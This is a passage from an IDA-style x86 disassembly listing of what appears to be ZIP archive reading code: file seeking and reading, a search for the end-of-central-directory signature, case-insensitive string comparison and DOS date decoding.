sub_40E2F9+46j push 1Ch call sub_4114F4 add esp, 4 mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] mov [ebp+var_C], ecx cmp [ebp+arg_8], 1 jz short loc_40E3FB cmp [ebp+arg_8], 2 jnz short loc_40E448 loc_40E3FB: ; CODE XREF: sub_40E2F9+FAj mov edx, [ebp+var_C] mov byte ptr [edx], 1 mov eax, [ebp+var_C] mov cl, byte ptr [ebp+var_4] mov [eax+1], cl mov edx, [ebp+var_C] mov eax, [ebp+var_8] mov [edx+4], eax mov ecx, [ebp+var_C] mov byte ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_4] and eax, 0FFh test eax, eax jz short loc_40E446 push 1 push 0 push 0 mov ecx, [ebp+var_8] push ecx call dword_4130A4 ; SetFilePointer mov edx, [ebp+var_C] mov [edx+0Ch], eax loc_40E446: ; CODE XREF: sub_40E2F9+135j jmp short loc_40E47B ; --------------------------------------------------------------------------- loc_40E448: ; CODE XREF: sub_40E2F9+100j mov eax, [ebp+var_C] mov byte ptr [eax], 0 mov ecx, [ebp+var_C] mov byte ptr [ecx+1], 1 mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+10h], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] mov [ecx+14h], edx mov eax, [ebp+var_C] mov dword ptr [eax+18h], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+0Ch], 0 loc_40E47B: ; CODE XREF: sub_40E2F9:loc_40E446j mov edx, [ebp+arg_C] mov dword ptr [edx], 0 mov eax, [ebp+var_C] loc_40E487: ; CODE XREF: sub_40E2F9+23j ; sub_40E2F9+8Ej ... mov esp, ebp pop ebp retn sub_40E2F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E48B proc near ; CODE XREF: sub_40EA92+28p ; sub_40EA92+19Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_40E49A or eax, 0FFFFFFFFh jmp short loc_40E4C6 ; --------------------------------------------------------------------------- loc_40E49A: ; CODE XREF: sub_40E48B+8j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_40E4B2 mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call dword_413020 ; CloseHandle loc_40E4B2: ; CODE XREF: sub_40E48B+18j mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_4114EE add esp, 4 xor eax, eax loc_40E4C6: ; CODE XREF: sub_40E48B+Dj mov esp, ebp pop ebp retn sub_40E48B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E4CA proc near ; CODE XREF: sub_40E6BE+39p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_40E4EB mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+8] test eax, eax jz short loc_40E4EB mov eax, 1 jmp short loc_40E4ED ; --------------------------------------------------------------------------- loc_40E4EB: ; CODE XREF: sub_40E4CA+Cj ; sub_40E4CA+18j xor eax, eax loc_40E4ED: ; CODE XREF: sub_40E4CA+1Fj pop ebp retn sub_40E4CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E4EF proc near ; CODE XREF: sub_40E901+25p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_40E524 mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_40E524 push 1 push 0 push 0 mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx call dword_4130A4 ; SetFilePointer mov ecx, [ebp+arg_0] sub eax, [ecx+0Ch] jmp short loc_40E539 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4EF+Cj ; sub_40E4EF+18j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] test eax, eax jz short loc_40E533 xor eax, eax jmp short loc_40E539 ; --------------------------------------------------------------------------- loc_40E533: ; CODE XREF: sub_40E4EF+3Ej mov ecx, [ebp+arg_0] mov eax, [ecx+18h] loc_40E539: ; CODE XREF: sub_40E4EF+33j ; sub_40E4EF+42j pop ebp retn sub_40E4EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E53B proc near ; CODE XREF: sub_40E901+Ep ; sub_40E901+D7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_40E5BD mov edx, [ebp+arg_0] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_40E5BD cmp [ebp+arg_8], 0 jnz short loc_40E578 push 0 push 0 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] add edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4130A4 ; SetFilePointer jmp short loc_40E5B9 ; --------------------------------------------------------------------------- loc_40E578: ; CODE XREF: sub_40E53B+1Ej cmp [ebp+arg_8], 1 jnz short loc_40E595 push 1 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4130A4 ; SetFilePointer jmp short loc_40E5B9 ; --------------------------------------------------------------------------- loc_40E595: ; CODE XREF: sub_40E53B+41j cmp [ebp+arg_8], 2 jnz short loc_40E5B2 push 2 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call dword_4130A4 ; SetFilePointer jmp short loc_40E5B9 ; --------------------------------------------------------------------------- loc_40E5B2: ; CODE XREF: sub_40E53B+5Ej mov eax, 13h jmp short loc_40E60E ; --------------------------------------------------------------------------- loc_40E5B9: ; CODE XREF: sub_40E53B+3Bj ; sub_40E53B+58j ... xor eax, eax jmp short loc_40E60E ; --------------------------------------------------------------------------- loc_40E5BD: ; CODE XREF: sub_40E53B+Cj ; sub_40E53B+18j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] test eax, eax jz short loc_40E5CF mov eax, 1Dh jmp short loc_40E60E ; --------------------------------------------------------------------------- loc_40E5CF: ; CODE XREF: sub_40E53B+8Bj cmp [ebp+arg_8], 0 jnz short loc_40E5E0 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov [ecx+18h], edx jmp short loc_40E60C ; --------------------------------------------------------------------------- loc_40E5E0: ; CODE XREF: sub_40E53B+98j cmp [ebp+arg_8], 1 jnz short loc_40E5F7 mov eax, [ebp+arg_0] mov ecx, [eax+18h] add ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [edx+18h], ecx jmp short loc_40E60C ; --------------------------------------------------------------------------- loc_40E5F7: ; CODE XREF: sub_40E53B+A9j cmp [ebp+arg_8], 2 jnz short loc_40E60C mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [edx+18h], ecx loc_40E60C: ; CODE XREF: sub_40E53B+A3j ; sub_40E53B+BAj ... xor eax, eax loc_40E60E: ; CODE XREF: sub_40E53B+7Cj ; sub_40E53B+80j ... pop ebp retn sub_40E53B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E610 proc near ; CODE XREF: sub_40E6BE+12p ; sub_40E901+F6p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] mov [ebp+var_8], eax mov ecx, [ebp+arg_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_40E660 push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] mov ecx, [eax+4] push ecx call dword_41301C ; ReadFile mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40E656 mov edx, [ebp+arg_C] mov byte ptr [edx+8], 1 loc_40E656: ; CODE XREF: sub_40E610+3Dj mov eax, [ebp+var_10] xor edx, edx div [ebp+arg_4] jmp short loc_40E6BA ; --------------------------------------------------------------------------- loc_40E660: ; CODE XREF: sub_40E610+19j mov eax, [ebp+arg_C] mov ecx, [eax+18h] add ecx, [ebp+var_8] mov edx, [ebp+arg_C] cmp ecx, [edx+14h] jbe short loc_40E680 mov eax, [ebp+arg_C] mov ecx, [ebp+arg_C] mov edx, [eax+14h] sub edx, [ecx+18h] mov [ebp+var_8], edx loc_40E680: ; CODE XREF: sub_40E610+5Fj mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] mov edx, [ecx+10h] mov eax, [ebp+arg_C] add edx, [eax+18h] push edx mov ecx, [ebp+arg_0] push ecx call sub_411634 ; memcpy add esp, 0Ch mov edx, [ebp+var_8] mov [ebp+var_4], edx mov eax, [ebp+arg_C] mov ecx, [eax+18h] add ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx+18h], ecx mov eax, [ebp+var_4] xor edx, edx div [ebp+arg_4] loc_40E6BA: ; CODE XREF: sub_40E610+4Ej mov esp, ebp pop ebp retn sub_40E610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6BE proc near ; CODE XREF: sub_40E70E+Ep ; sub_40E70E+2Dp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] push eax push 1 push 1 lea ecx, [ebp+var_8] push ecx call sub_40E610 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 1 jnz short loc_40E6F3 mov edx, [ebp+var_8] and edx, 0FFh mov eax, [ebp+arg_4] mov [eax], edx xor eax, eax jmp short loc_40E70A ; --------------------------------------------------------------------------- loc_40E6F3: ; CODE XREF: sub_40E6BE+21j mov ecx, [ebp+arg_0] push ecx call sub_40E4CA add esp, 4 test eax, eax jz short loc_40E708 or eax, 0FFFFFFFFh jmp short loc_40E70A ; --------------------------------------------------------------------------- loc_40E708: ; CODE XREF: sub_40E6BE+43j xor eax, eax loc_40E70A: ; CODE XREF: sub_40E6BE+33j ; sub_40E6BE+48j mov esp, ebp pop ebp retn sub_40E6BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E70E proc near ; CODE XREF: sub_40EA92+9Ap ; sub_40EA92+B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E6BE add esp, 8 mov [ebp+var_4], eax mov edx, [ebp+var_C] mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_40E746 lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E6BE add esp, 8 mov [ebp+var_4], eax loc_40E746: ; CODE XREF: sub_40E70E+23j mov edx, [ebp+var_C] shl edx, 8 mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax cmp [ebp+var_4], 0 jnz short loc_40E764 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx], edx jmp short loc_40E76D ; --------------------------------------------------------------------------- loc_40E764: ; CODE XREF: sub_40E70E+4Aj mov eax, [ebp+arg_4] mov dword ptr [eax], 0 loc_40E76D: ; CODE XREF: sub_40E70E+54j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_40E70E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E774 proc near ; CODE XREF: sub_40EA92+7Fp ; sub_40EA92+127p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E6BE add esp, 8 mov [ebp+var_4], eax mov edx, [ebp+var_C] mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_40E7AC lea eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E6BE add esp, 8 mov [ebp+var_4], eax loc_40E7AC: ; CODE XREF: sub_40E774+23j mov edx, [ebp+var_C] shl edx, 8 mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax cmp [ebp+var_4], 0 jnz short loc_40E7D3 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_0] push edx call sub_40E6BE add esp, 8 mov [ebp+var_4], eax loc_40E7D3: ; CODE XREF: sub_40E774+4Aj mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx cmp [ebp+var_4], 0 jnz short loc_40E7FA lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_0] push eax call sub_40E6BE add esp, 8 mov [ebp+var_4], eax loc_40E7FA: ; CODE XREF: sub_40E774+71j mov ecx, [ebp+var_C] shl ecx, 18h mov edx, [ebp+var_8] add edx, ecx mov [ebp+var_8], edx cmp [ebp+var_4], 0 jnz short loc_40E818 mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_40E821 ; --------------------------------------------------------------------------- loc_40E818: ; CODE XREF: sub_40E774+98j mov edx, [ebp+arg_4] mov dword ptr [edx], 0 loc_40E821: ; CODE XREF: sub_40E774+A2j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_40E774 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E828 proc near ; CODE XREF: sub_40E8D4+23p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 loc_40E82E: ; CODE XREF: sub_40E828:loc_40E8CBj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx movsx eax, [ebp+var_4] cmp eax, 61h jl short loc_40E86B movsx ecx, [ebp+var_4] cmp ecx, 7Ah jg short loc_40E86B mov dl, [ebp+var_4] sub dl, 20h mov [ebp+var_4], dl loc_40E86B: ; CODE XREF: sub_40E828+2Fj ; sub_40E828+38j movsx eax, [ebp+var_8] cmp eax, 61h jl short loc_40E886 movsx ecx, [ebp+var_8] cmp ecx, 7Ah jg short loc_40E886 mov dl, [ebp+var_8] sub dl, 20h mov [ebp+var_8], dl loc_40E886: ; CODE XREF: sub_40E828+4Aj ; sub_40E828+53j movsx eax, [ebp+var_4] test eax, eax jnz short loc_40E898 movsx eax, [ebp+var_8] neg eax sbb eax, eax jmp short loc_40E8D0 ; --------------------------------------------------------------------------- loc_40E898: ; CODE XREF: sub_40E828+64j movsx ecx, [ebp+var_8] test ecx, ecx jnz short loc_40E8A7 mov eax, 1 jmp short loc_40E8D0 ; --------------------------------------------------------------------------- loc_40E8A7: ; CODE XREF: sub_40E828+76j movsx edx, [ebp+var_4] movsx eax, [ebp+var_8] cmp edx, eax jge short loc_40E8B8 or eax, 0FFFFFFFFh jmp short loc_40E8D0 ; --------------------------------------------------------------------------- loc_40E8B8: ; CODE XREF: sub_40E828+89j movsx ecx, [ebp+var_4] movsx edx, [ebp+var_8] cmp ecx, edx jle short loc_40E8CB mov eax, 1 jmp short loc_40E8D0 ; --------------------------------------------------------------------------- loc_40E8CB: ; CODE XREF: sub_40E828+9Aj jmp loc_40E82E ; --------------------------------------------------------------------------- loc_40E8D0: ; CODE XREF: sub_40E828+6Ej ; sub_40E828+7Dj ... mov esp, ebp pop ebp retn sub_40E828 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8D4 proc near ; CODE XREF: sub_40F30A+D5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 1 jnz short loc_40E8EF mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_411684 ; strcmp add esp, 8 jmp short loc_40E8FF ; --------------------------------------------------------------------------- loc_40E8EF: ; CODE XREF: sub_40E8D4+7j mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_40E828 add esp, 8 loc_40E8FF: ; CODE XREF: sub_40E8D4+19j pop ebp retn sub_40E8D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E901 proc near ; CODE XREF: sub_40EA92+42p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40E922 xor eax, eax jmp loc_40EA8E ; --------------------------------------------------------------------------- loc_40E922: ; CODE XREF: sub_40E901+18j mov ecx, [ebp+arg_0] push ecx call sub_40E4EF add esp, 4 mov [ebp+var_8], eax mov [ebp+var_14], 0FFFFh mov edx, [ebp+var_14] cmp edx, [ebp+var_8] jbe short loc_40E946 mov eax, [ebp+var_8] mov [ebp+var_14], eax loc_40E946: ; CODE XREF: sub_40E901+3Dj push 404h call dword_4131C8 ; malloc add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40E964 xor eax, eax jmp loc_40EA8E ; --------------------------------------------------------------------------- loc_40E964: ; CODE XREF: sub_40E901+5Aj mov [ebp+var_10], 0 mov [ebp+var_C], 4 loc_40E972: ; CODE XREF: sub_40E901:loc_40EA73j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_14] jnb loc_40EA78 mov edx, [ebp+var_C] add edx, 400h cmp edx, [ebp+var_14] jbe short loc_40E994 mov eax, [ebp+var_14] mov [ebp+var_C], eax jmp short loc_40E9A0 ; --------------------------------------------------------------------------- loc_40E994: ; CODE XREF: sub_40E901+89j mov ecx, [ebp+var_C] add ecx, 400h mov [ebp+var_C], ecx loc_40E9A0: ; CODE XREF: sub_40E901+91j mov edx, [ebp+var_8] sub edx, [ebp+var_C] mov [ebp+var_20], edx mov eax, [ebp+var_8] sub eax, [ebp+var_20] cmp eax, 404h jbe short loc_40E9BF mov [ebp+var_24], 404h jmp short loc_40E9C8 ; --------------------------------------------------------------------------- loc_40E9BF: ; CODE XREF: sub_40E901+B3j mov ecx, [ebp+var_8] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_40E9C8: ; CODE XREF: sub_40E901+BCj mov edx, [ebp+var_24] mov [ebp+var_18], edx push 0 mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40E9E9 jmp loc_40EA78 ; --------------------------------------------------------------------------- loc_40E9E9: ; CODE XREF: sub_40E901+E1j mov edx, [ebp+arg_0] push edx push 1 mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_4] push ecx call sub_40E610 add esp, 10h cmp eax, 1 jz short loc_40EA06 jmp short loc_40EA78 ; --------------------------------------------------------------------------- loc_40EA06: ; CODE XREF: sub_40E901+101j mov edx, [ebp+var_18] sub edx, 3 mov [ebp+var_1C], edx loc_40EA0F: ; CODE XREF: sub_40E901:loc_40EA69j mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jle short loc_40EA6B mov edx, [ebp+var_4] add edx, [ebp+var_1C] xor eax, eax mov al, [edx] cmp eax, 50h jnz short loc_40EA69 mov ecx, [ebp+var_4] add ecx, [ebp+var_1C] xor edx, edx mov dl, [ecx+1] cmp edx, 4Bh jnz short loc_40EA69 mov eax, [ebp+var_4] add eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+2] cmp ecx, 5 jnz short loc_40EA69 mov edx, [ebp+var_4] add edx, [ebp+var_1C] xor eax, eax mov al, [edx+3] cmp eax, 6 jnz short loc_40EA69 mov ecx, [ebp+var_20] add ecx, [ebp+var_1C] mov [ebp+var_10], ecx jmp short loc_40EA6B ; --------------------------------------------------------------------------- loc_40EA69: ; CODE XREF: sub_40E901+12Bj ; sub_40E901+13Bj ... jmp short loc_40EA0F ; --------------------------------------------------------------------------- loc_40EA6B: ; CODE XREF: sub_40E901+11Cj ; sub_40E901+166j cmp [ebp+var_10], 0 jz short loc_40EA73 jmp short loc_40EA78 ; --------------------------------------------------------------------------- loc_40EA73: ; CODE XREF: sub_40E901+16Ej jmp loc_40E972 ; --------------------------------------------------------------------------- loc_40EA78: ; CODE XREF: sub_40E901+77j ; sub_40E901+E3j ... cmp [ebp+var_4], 0 jz short loc_40EA8B mov edx, [ebp+var_4] push edx call dword_4131D4 ; free add esp, 4 loc_40EA8B: ; CODE XREF: sub_40E901+17Bj mov eax, [ebp+var_10] loc_40EA8E: ; CODE XREF: sub_40E901+1Cj ; sub_40E901+5Ej mov esp, ebp pop ebp retn sub_40E901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA92 proc near ; CODE XREF: sub_40FE9E+99p var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = byte ptr -94h var_90 = dword ptr -90h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 9Ch push esi push edi cmp [ebp+arg_0], 0 jnz short loc_40EAAA xor eax, eax jmp loc_40ECA2 ; --------------------------------------------------------------------------- loc_40EAAA: ; CODE XREF: sub_40EA92+Fj movsx eax, byte_414AA4 cmp eax, 20h jz short loc_40EAC9 mov ecx, [ebp+arg_0] push ecx call sub_40E48B add esp, 4 xor eax, eax jmp loc_40ECA2 ; --------------------------------------------------------------------------- loc_40EAC9: ; CODE XREF: sub_40EA92+22j mov [ebp+var_8], 0 mov edx, [ebp+arg_0] push edx call sub_40E901 add esp, 4 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40EAEC mov [ebp+var_8], 0FFFFFFFFh loc_40EAEC: ; CODE XREF: sub_40EA92+51j push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E53B add esp, 0Ch test eax, eax jz short loc_40EB09 mov [ebp+var_8], 0FFFFFFFFh loc_40EB09: ; CODE XREF: sub_40EA92+6Ej lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_40E774 add esp, 8 test eax, eax jz short loc_40EB24 mov [ebp+var_8], 0FFFFFFFFh loc_40EB24: ; CODE XREF: sub_40EA92+89j lea ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EB3F mov [ebp+var_8], 0FFFFFFFFh loc_40EB3F: ; CODE XREF: sub_40EA92+A4j lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EB5A mov [ebp+var_8], 0FFFFFFFFh loc_40EB5A: ; CODE XREF: sub_40EA92+BFj lea edx, [ebp+var_98] push edx mov eax, [ebp+arg_0] push eax call sub_40E70E add esp, 8 test eax, eax jz short loc_40EB78 mov [ebp+var_8], 0FFFFFFFFh loc_40EB78: ; CODE XREF: sub_40EA92+DDj lea ecx, [ebp+var_1C] push ecx mov edx, [ebp+arg_0] push edx call sub_40E70E add esp, 8 test eax, eax jz short loc_40EB93 mov [ebp+var_8], 0FFFFFFFFh loc_40EB93: ; CODE XREF: sub_40EA92+F8j mov eax, [ebp+var_1C] cmp eax, [ebp+var_98] jnz short loc_40EBAA cmp [ebp+var_18], 0 jnz short loc_40EBAA cmp [ebp+var_4], 0 jz short loc_40EBB1 loc_40EBAA: ; CODE XREF: sub_40EA92+10Aj ; sub_40EA92+110j mov [ebp+var_8], 0FFFFFF99h loc_40EBB1: ; CODE XREF: sub_40EA92+116j lea ecx, [ebp+var_7C] push ecx mov edx, [ebp+arg_0] push edx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EBCC mov [ebp+var_8], 0FFFFFFFFh loc_40EBCC: ; CODE XREF: sub_40EA92+131j lea eax, [ebp+var_78] push eax mov ecx, [ebp+arg_0] push ecx call sub_40E774 add esp, 8 test eax, eax jz short loc_40EBE7 mov [ebp+var_8], 0FFFFFFFFh loc_40EBE7: ; CODE XREF: sub_40EA92+14Cj lea edx, [ebp+var_94] push edx mov eax, [ebp+arg_0] push eax call sub_40E70E add esp, 8 test eax, eax jz short loc_40EC05 mov [ebp+var_8], 0FFFFFFFFh loc_40EC05: ; CODE XREF: sub_40EA92+16Aj mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, [ecx+0Ch] mov eax, [ebp+var_78] add eax, [ebp+var_7C] cmp edx, eax jnb short loc_40EC25 cmp [ebp+var_8], 0 jnz short loc_40EC25 mov [ebp+var_8], 0FFFFFF99h loc_40EC25: ; CODE XREF: sub_40EA92+184j ; sub_40EA92+18Aj cmp [ebp+var_8], 0 jz short loc_40EC3B mov ecx, [ebp+arg_0] push ecx call sub_40E48B add esp, 4 xor eax, eax jmp short loc_40ECA2 ; --------------------------------------------------------------------------- loc_40EC3B: ; CODE XREF: sub_40EA92+197j mov edx, [ebp+arg_0] mov [ebp+var_9C], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_10] add ecx, [eax+0Ch] mov edx, [ebp+var_78] add edx, [ebp+var_7C] sub ecx, edx mov [ebp+var_90], ecx mov eax, [ebp+var_10] mov [ebp+var_80], eax mov [ebp+var_20], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+0Ch], 0 push 80h call dword_4131C8 ; malloc add esp, 4 mov [ebp+var_C], eax mov ecx, 20h lea esi, [ebp+var_9C] mov edi, [ebp+var_C] rep movsd mov edx, [ebp+var_C] push edx call sub_40F1E3 add esp, 4 mov eax, [ebp+var_C] loc_40ECA2: ; CODE XREF: sub_40EA92+13j ; sub_40EA92+32j ... pop edi pop esi mov esp, ebp pop ebp retn sub_40EA92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECA8 proc near ; CODE XREF: sub_410CC8+36p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_40ECB9 mov eax, 0FFFFFF9Ah jmp short loc_40ECF7 ; --------------------------------------------------------------------------- loc_40ECB9: ; CODE XREF: sub_40ECA8+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp dword ptr [ecx+7Ch], 0 jz short loc_40ECD4 mov edx, [ebp+arg_0] push edx call sub_40FCA7 add esp, 4 loc_40ECD4: ; CODE XREF: sub_40ECA8+1Ej mov eax, [ebp+var_4] mov ecx, [eax] push ecx call sub_40E48B add esp, 4 cmp [ebp+var_4], 0 jz short loc_40ECF5 mov edx, [ebp+var_4] push edx call dword_4131D4 ; free add esp, 4 loc_40ECF5: ; CODE XREF: sub_40ECA8+3Ej xor eax, eax loc_40ECF7: ; CODE XREF: sub_40ECA8+Fj mov esp, ebp pop ebp retn sub_40ECA8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_40ED0C mov eax, 0FFFFFF9Ah jmp short loc_40ED25 ; --------------------------------------------------------------------------- loc_40ED0C: ; CODE XREF: HSho:0040ED03j mov eax, [ebp+8] mov [ebp-4], eax mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [ecx+8] mov ecx, [ebp+0Ch] mov [ecx], edx mov [ecx+4], eax xor eax, eax loc_40ED25: ; CODE XREF: HSho:0040ED0Aj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ED29 proc near ; CODE XREF: sub_40EDA2+122p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] shr eax, 10h mov [ebp+var_4], eax mov ecx, [ebp+var_4] and ecx, 1Fh mov edx, [ebp+arg_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] and eax, 1E0h shr eax, 5 sub eax, 1 mov ecx, [ebp+arg_4] mov [ecx+10h], eax mov edx, [ebp+var_4] and edx, 0FE00h shr edx, 9 add edx, 7BCh mov eax, [ebp+arg_4] mov [eax+14h], edx mov ecx, [ebp+arg_0] and ecx, 0F800h shr ecx, 0Bh mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_0] and eax, 7E0h shr eax, 5 mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edx, [ebp+arg_0] and edx, 1Fh shl edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov esp, ebp pop ebp retn sub_40ED29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDA2 proc near ; CODE XREF: sub_40F1B4+25p ; sub_40F1E3+4Dp ... var_70 = dword ptr 